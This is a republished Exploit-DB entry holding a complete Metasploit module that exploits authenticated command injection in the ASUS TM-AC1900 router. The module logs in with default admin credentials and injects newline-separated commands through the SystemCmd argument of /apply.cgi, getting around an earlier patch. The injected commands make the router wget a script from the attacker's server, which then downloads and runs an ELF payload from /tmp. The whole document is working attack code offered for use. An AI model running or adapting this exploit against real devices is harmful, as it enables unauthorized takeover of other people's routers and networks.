ASUS TM-AC1900 – Arbitrary Command Execution (Metasploit)

  • 作者: b1ack0wl
    日期: 2020-11-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49036/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpServer
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'ASUS TM-AC1900 - Arbitrary Command Execution',
    'Description'=> %q{
    This module exploits a code execution vulnerability within the ASUS 
    TM-AC1900 router as an authenicated user. The vulnerability is due to 
    a failure filter out percent encoded newline characters (%0a) within 
    the HTTP argument 'SystemCmd' when invoking "/apply.cgi" which bypasses 
    the patch for CVE-2018-9285.
     
    },
    'Author' =>
    [
    'b1ack0wl' # vuln discovery + exploit developer
    ],
    'License'=> MSF_LICENSE,
    'Platform' => 'linux',
    'Arch' => ARCH_ARMLE,
    'References' =>
    [
    # CVE which shows that this functionality has been patched before ;)
    ['URL', 'https://www.cvedetails.com/cve/CVE-2018-9285/'],
    ['URL', 'https://github.com/b1ack0wl/OffensiveCon20/tree/master/TM-AC1900']
    ],
    'Privileged' => true,
    'Targets'=>
    [
    # this may work on other asus routers as well, but I've only tested this on the TM-AC1900.
    [ 'ASUS TM-AC1900 <= v3.0.0.4.376_3199',
    {}
    ]
    ],
    'DisclosureDate' => 'April 18, 2020',
    'DefaultTarget' => 0))
    register_options(
    [
    OptString.new('USERNAME', [true, 'Username for the web portal.', 'admin']),
    OptString.new('PASSWORD', [true, 'Password for the web portal.', 'admin'])
    ])
    end
    
    def check_login
    begin
    res = send_request_cgi({
    'method'=> 'GET',
    'uri' => "/Main_Analysis_Content.asp",
    'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
    })
    if res and res.code == 200
    # all good :)
    return res
    else
    fail_with(Failure::NoAccess, 'Invalid password.')
    end
    rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, 'Connection failed.')
    end
    end
    
    def on_request_uri(cli, request)
    if request.uri == '/'
    # injected command has been executed
    print_good("Sending bash script...")
    @filename = rand_text_alpha(16)
    bash_script = %Q|
    #!/bin/sh
    wget #{@lhost_srvport}/#{rand_text_alpha(16)} -O /tmp/#{@filename}
    chmod +x /tmp/#{@filename}
    /tmp/#{@filename} &
    |
    send_response(cli, bash_script)
    else
    # bash script has been executed. serve up the ELF file
    exe_payload = generate_payload_exe()
    print_good("Sending ELF file...")
    send_response(cli, exe_payload)
    # clean up
    register_file_for_cleanup("/tmp/index.html")
    register_file_for_cleanup("/tmp/#{@filename}")
    end
    end
    
    def exploit
    # make sure the supplied password is correct
    check_login
    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
    srv_host = datastore['LHOST']
    else
     srv_host = datastore['SRVHOST']
    end
    print_status("Exploiting #{target.name}...")
    @lhost_srvport = "#{srv_host}:#{datastore['SRVPORT']}"
    start_service({'Uri' => {'Proc' => Proc.new { 
    |cli, req| on_request_uri(cli, req)
    },
    'Path' => '/'
    }})
    begin
    # store the cmd to be executed
    cmd ="ping+-c+1+127.0.0.1;cd+..;cd+..;cd+tmp;rm+index.html;"
    cmd << "wget+#{@lhost_srvport};chmod+777+index.html;sh+index.html"
    res = send_request_cgi({
    'method'=> 'GET',
    'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
    # spaces need to be '+' and not %20, so cheap hack.exe it is.
    # required HTTP args: SystemCmd, action_mode, and current_page
    'uri' => "/apply.cgi?SystemCmd=#{cmd.gsub(';',"%0a")}&action_mode=+Refresh+&current_page=Main_Analysis_Content.asp"
    })
    # now trigger it via check_login
    res = check_login
    if res and res.code == 200
    print_status("Waiting up to 10 seconds for the payload to execute...")
    select(nil, nil, nil, 10)
    end
    rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
    end
    end